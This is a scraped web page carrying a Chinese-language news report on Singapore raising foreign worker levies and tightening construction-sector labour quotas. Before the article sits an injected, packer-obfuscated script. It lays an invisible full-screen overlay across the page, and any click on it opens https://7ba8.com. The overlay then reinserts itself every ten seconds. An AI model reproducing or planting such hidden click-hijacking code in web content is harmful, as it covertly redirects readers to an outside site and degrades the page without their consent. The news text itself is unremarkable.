<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>人力部公布的各行业外国劳工税都有所提高，而向来依赖外劳的建筑业除了须承担更高的劳工税外，也会受两项为调节外劳人数和外劳素质的新措施影响。
从明年7月1日起，建筑业非熟练外劳准证将被淘汰，所有外劳准证持有者必须至少持有最基本的技能评估证书。除此之外，人力部也将分阶段收紧建筑业的非传统来源外劳配额（Man-Year-Entitlement，简称MYE），这个按建筑工程合约总值来计算可雇用外劳人数的配额，将在接下来三年内减少25%。
人力部昨天发表文告宣布外劳税的新税制细节时强调，在接下来三年分阶段调高外劳税是为了让受影响的雇主有时间做出调整，而提高劳工税主要是为调整雇主对外劳的需求，鼓励雇主投资于提高生产力。
财政部长尚达曼前天在新预算案声明中谈到调高外劳税时已透露，在提高生产力方面有很大改进空间的建筑业将面对更高的劳工税增幅。
目前，建筑业雇主每月需为每名熟练外劳缴150元劳工税。人力部将在接下来三年分五个阶段调高建筑业外劳的劳工税。
从今年7月1日起，熟练外劳的劳工税增加10元，达160元。在2012年7月1日完成最后一次调整后，持有最基本技能评估证书的熟练外劳的劳工税将调高到300元。
不过当局也将让聘用较高技能外劳的雇主得到优惠，让他们缴付较低劳工税。那些具有至少四年工作经验并拥有专门技能的外劳将被归类为“更熟练工人”（Higher Skilled Worker），雇主到时只需为这类工人缴付每月200元的劳工税。
目前，本地劳动队伍中外籍员工占将近三分之一，人数超过100万人。随着我国近年来展开兴建两座综合度假胜地、大型商场和办公楼等多项大型工程，建筑业对外籍劳工的需求不断提高。单是建筑业引进本地的外劳人数就从2007年底的18万人增加到去年底的24万5000人。
建筑业者聘请外劳的制度一直以来都跟服务业、制造业不同，建筑业者聘用外劳的制度中设有两道门槛：建筑商除了必须达到每聘用一名本地人（新加坡人或永久居民）才能聘用7名外籍劳工的比例，所能聘用的外劳人数也受限于他们手头上的建筑工程合约总值。 |
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